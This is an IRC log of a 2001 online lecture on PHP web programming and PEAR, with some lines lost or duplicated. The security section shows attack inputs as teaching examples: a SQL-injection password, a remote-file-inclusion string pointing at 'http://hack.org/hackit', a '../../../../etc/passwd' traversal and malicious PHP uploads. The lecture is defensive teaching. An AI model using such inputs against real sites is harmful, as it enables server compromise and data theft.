Logo Umeet2001

ESPAÑOL
Presentación

Programa

Desarrollo

ENGLISH

Presentation

Programa

Desarrollo


dani_ok, it start here..
dani_the lecture by Mr. Cox is titled "The new web
programmation: web and PHP"
programación: web y PHP) ENGLISH TRANSLATION HERE'
dani_cox: well.. it's my first lecture
dani_so.. don't be cruel with me ;)
programación: web y PHP) ENGLISH TRANSLATION HERE: "The new web
programmation: web and PHP"'
dani_i'd like to divide the lecture in 4 parts
dani_my idea es:
dani_- why the new programmation?
dani_- why PHP?
dani_- security fails on web applications
dani_- PEAR (PHP Group's Open Source Project)
dani_so.. let's start
dani_Everyday the need on being permanently connected will grow
(well, on occidental world)
dani_It means that wherever we go we need to acces to any
information and have open channels to people to comunicate with us
dani_wel, what have to do web on it?
dani_the web is most universaly extended media by now
dani_it exists to connect to a network almost wherever you whant
leonardopThere's web browsers and the chance to access Internet
from almost any conceivable device today.
leonardopfrom traditional PCs, laptops, cell phones,
#qc
leonardopPDAs, to more exotic devices like household-electric,
cars or even clothing
leonardopWell, this provides a lot of resources and the result
of the
mixture of all this to a web service
leonardopand a database is something amazing. This means:
leonardop- Universal access
leonardop- Costs reduction for installation and maintenance (a
web app is the same for all the users)
JAO- Easy learning (you scarcerly need to know how to use the 4
buttons of your browser and to fill in web forms)
leonardop- Easy to learn (you just need to know how to use the
buttons in your browser and how to fill forms)
JAO- Cost reduction on implementacion.
dani_I strongly belive that is cheeper a lot to implement an
application with a scripting language
dani_free of boring debbuging process and using an easy
graphical toolkit like HTML
dani_than a graphical application coded in Java or "Visual *"
leonardop- Easy access to multiple sources of information,
system files,
leonardopdatabases, other networks, etc.
leonardopToday, according to our experience in the web
development world, we've seen that many things that we thought unfeasible
in the past, are possible now thanks to web programming.
leonardopand they work really well
leonardopI'll mention some examples:
leonardop- Administrative tasks improvement (using workflow
procedures on the web)
leonardop(a database and XML have helped a lot here)
leonardop- Better communication with "virtual" personnel inside
a company (like technicians or agents that must travel to the client's
residence;
leonardopthrough webmail, forums, web chat o SMS from the web)
leonardop(The IRCG extension by Mr Sasha Schumman works
extremely well :)
leonardop- Speed and convenience for the users to access
information
leonardop(documentary management)
leonardop- Speed and convenience for users outside their works
(through wap applications)
leonardopWhy PHP
leonardop.
leonardop.
leonardop.
FloodeRSomo numbers to explain this...
FloodeRhttp://www.netcraft.com
FloodeR36,458,394 domain queried
FloodeR1,046,426 ip
FloodeR7,095,691 domains with php
FloodeRphp installed in 19.46% of domains
FloodeRhttp://www.securityspace.com/s_survey/data/index.html
FloodeRMore common apache extensions
FloodeR2,693,434 Apache server evaluated
FloodeR1,238,547 (45.98%) PHP
FloodeR611,733 (22.71%) mod_ssl
FloodeR521,126 (19.35%) OpenSSL
FloodeR493,282 (18.31%) Frontpage
FloodeR355,101 (13.18%) mod_perl
FloodeR109,175 (4.05%) ApacheJServ
FloodeROperating Systems
FloodeR----------------
FloodeRUNIX (all variants) ,Win32 (NT/W95/W98/W2000) ,QNX ,MacOS
(WebTen)
FloodeROSX ,OS/2 ,BeOS
FloodeRWeb Server (UNIX, Win32)
FloodeR--------------
FloodeRCGI/FastCGI ,thttpd ,fhttpd ,phttpd ,ISAPI (IIS, Zeus)
FloodeRNSAPI
FloodeR Java servlet ,AOLServer ,Roxen/Caudium module
FloodeRExperimental
FloodeRApache 2.0 module ,Tux ,pi3web
FloodeRDatabases
FloodeR---------
FloodeR
FloodeRAdabas D, Empress, IBM DB2 ,Informix ,Ingres ,Interbase
,Frontbase ,mSQL
FloodeR Direct MS-SQL ,MySQL ,ODBC ,Ovrimos ,Oracle (OCI7,OCI8)
,PostgreSQL
FloodeR Raima Velocis ,Solid ,Sybase ,DB++ ,dBase ,filePro
(read-only)
FloodeRdbm (ndbm, gdbm, Berkeley db)
FloodeR
FloodeRAnd as extras
FloodeR----------
FloodeRGraphic Generation (Extensions suported)
FloodeR
FloodeR PDf, GD, Imlib2, ImageMagik, Flash, AT&T's GraphViz, SVG
FloodeRAll this gives php the flexibility
FloodeRTo have all that you can need
FloodeRAnd now come on to the funny :)
FloodeR
FloodeRThe web programming is not as easy as appears in a first
look
FloodeRFirst
FloodeRAll that you put in a web page can be easily falsed(I
explain)
FloodeRSecond
FloodeRThe access to a web application usually be to all the
world (This normally be a requisite)
FloodeRSome critical points:
* cox please tell me to be slower when needed
FloodeRThe user lies all the time :)
FloodeRIf you put in a form, the tipical <select> with some not
modificable options
FloodeRhope to receive some of the options that has specified
FloodeRIn the web programming, the client (navigator) is the
element that take the control to send the data that the user has fill
FloodeRThe client(navigator) take the user data and change it
into simple http
cox(actually "browser" :)
FloodeROh
FloodeRXD
FloodeRthanks
FloodeRWe can see that by yourself, you can make an http
request, put any data and send to the page
FloodeRTaking trash our database integrity
dani_this way you can crash the data base integrity
josh[shine.cmw.sld.cu]: Connection reset by peer)
dani_(but normaly fixed by creating correct tables, KEYs, NOT
NULLs, REFERENCEs, CHECKs, ...)
dani_- Not making properly char scapes when submitting data base
queries
dani_hmm..
dani_sorry.. keyboard problems ;)
dani_thx cox.. i've problems with dollar
coxdani_: I'll paste those don't worry :)
dani_imagine than i type a password like:         "hacker' where
dani_in a form
cox
dani_this way.. the resultant query will be:
cox
cox
cox
dani_ouch, I've just updated the admins password :)
dani_this kind of bugs have been xploited on undreds of web
applications like the
dani_(i friend of mine have waken up a day and find that his
credibility was droped down and
dani_and had been taken off from his admins job)
dani_you must _Allways_  scape properly the variable chars when
comes from user entries
dani_every time on the way the data base engine needs
leonardop- Opening files from the filesystem.
leonardopIt should be avoided as much as possible
leonardopand if it's absolutely neccesary, then ideally the file
should
be selected
leonardopfrom a default list (like an array or something)
timeout)
leonardopAs an example, let's consider a page that displays
different headers
leonardopdepending on the skin that the user chose
leonardopwe suppose $skin should store a safe value
leonardopinclude($skin . ".php");<leonardop> In this
scenario, all we need is to pass a string like "http://hack.org/hackit" as
the $skin value
leonardopto produce the inclusion of
leonardop"http://hack.org/hackit.php"
leonardopand the attacker gets to run his own PHP code with web
server permissions.
leonardopThe famous first "virus" made in PHP was based on this
kind of things.
leonardop## I've received some complaints about using the term
"hack" instead of "crack"
leonardopThis lecture should be used to "hack" your own system
leonardopand not to "crack" others, ok? ;) ##
leonardop.
FloodeROther tipical thing is not scape the name of the files
FloodeRFor example, the user put "../../../../etc/passwd"
FloodeROr to not scape the system commands that we are going to run
FloodeRPut the libraries out of document root
FloodeRA tipical structure of files
FloodeRList of files from document root of http://sillysite.com/
FloodeRindex.php
FloodeRinclude/default.inc
FloodeRimages/nogifs.png
FloodeR
FloodeRIts usually to use .inc extensions to refer to library files
FloodeRBut it's usually that the .inc files
FloodeRdon't be part of the extensions that the php runtime parse
FloodeR## After conference we open a questions session ##
FloodeRIf I call http://sillysite.com/include/default.inc
FloodeRAll the php code appear to me as plain text
FloodeRGiving data as names, passowrd to databases, etc
FloodeRUploads, or perdition :)
FloodeRIs too tipical to have the upload directory in document root
FloodeRIts too much dangerous, and exploitable
FloodeRSome considerations:
FloodeRA) Check the extensions of files that upload to the server
FloodeR## Dangerous, not that it don't be necesary ##
FloodeRExample of why
FloodeRI upload hackit.php
FloodeRAnd go to http://sillysite.com/uploads/hackit.php
FloodeRThe simple uploads service change into a easy service to
execute remote exploits :)
FloodeR(Apache servers be hacked by this)
FloodeRB) Don't scape file names
FloodeRI can upload a file called "../index.php", making a false
post, and if i have in the code something like "rename($userfile,
"uploads/" . $userfile_name);
FloodeRI can rewrite the index.php file with my code
FloodeRAnd a lot of things like
FloodeRhave "register_globals" activated, and not inicializa the
variables
FloodeR(Some of this fails open vulnerabilities in PHPnuke)
FloodeROr try to make secure the access to aplications with
$REFERER data
FloodeR(We must remenber that the browser send it and can be false)
dani_i'll talk about PEAR shortly
dani_PEAR - PHP Extension & Application Repository
dani_PEAR is an Open Source project created by PHP Group whith
the goal of creating a big library
dani_of cuality classes writen in HP
dani_All them accessible from a common web repository
dani_and easily installable by a packet mannaging sistem
dani_(like RPM to take an idea)
dani_The project was founded by Stig S.Bakken, a PHP Group member
josh[shine.cmw.sld.cu]: Connection reset by peer)
dani_Stig and others have been the creators of Oracle's  PHP
extension, XML's one or all
dani_languages compilation architecture on Unix plataforms
dani_What shocked me is the fact that hi started the project 2 h
after his doughter Malin was borned
dani_that's what I call a hacker.. :)
dani_In PEAR you can find by now some quality software which
englobes a lot of features.
dani_PEAR gets now contributions from the biggest hackers
dani_people like Rasmus, Andrei, Bergman, Huges, ...
dani_Some of them are on this lecture, like Richard Hayes
(funder of the widely used STMP mail sending class)
* cox this is RichyH :)
dani_or Morgan(a Phorum 4 developer and now become  PEAR_Forum)
* cox this is Mog :)
dani_the PEAR's star application today is the data base
abstraction class PEAR DB
dani_last days we had a lot of movements around this point
dani_by the classes unification proposal
dani_to unificate all them in still one
dani_there you can find the bloody war with Manuel Lemos (from
Metabase, Metal and phpclasses.uperdesign.com)
dani_and John Limn (ADODB y phplens.com)
dani_[21:38:41] <cox>       Bueno no me quiero enrrollar mas, solo
dani_whell.. i don't want to extend any more..
dani_in case any one want to read more about the interesting
world of PEAR:
dani_http://pear.php.net (by now it's under development, there's
not much information)
dani_pear-dev@lists.php.net (also available from news server at
news.php.net)
dani_and to see which things you can find there I recomend:
dani_http://cvs.php.net
dani_at     /pear       and       /php4/pear
dani_by the momment I think i've counted more than 80 classes
that englobes Dates, XML, Files, Networks, ...
dani_ahh.. watch too at: http://pear.php.net (supoort and faq
sections)
dani_ok.. that's all..
dani_clap clap clap clap clap clap clap clap clap
dani_clap clap clap clap clap clap clap clap clap
> clap clap clap clap clap clap clap clap clap clap
> clap clap clap clap clap clap clap clap clap clap
> clap clap clap clap clap clap clap clap clap clap
> clap clap clap clap clap clap clap clap clap clap



Mas información: umeet@uninet.edu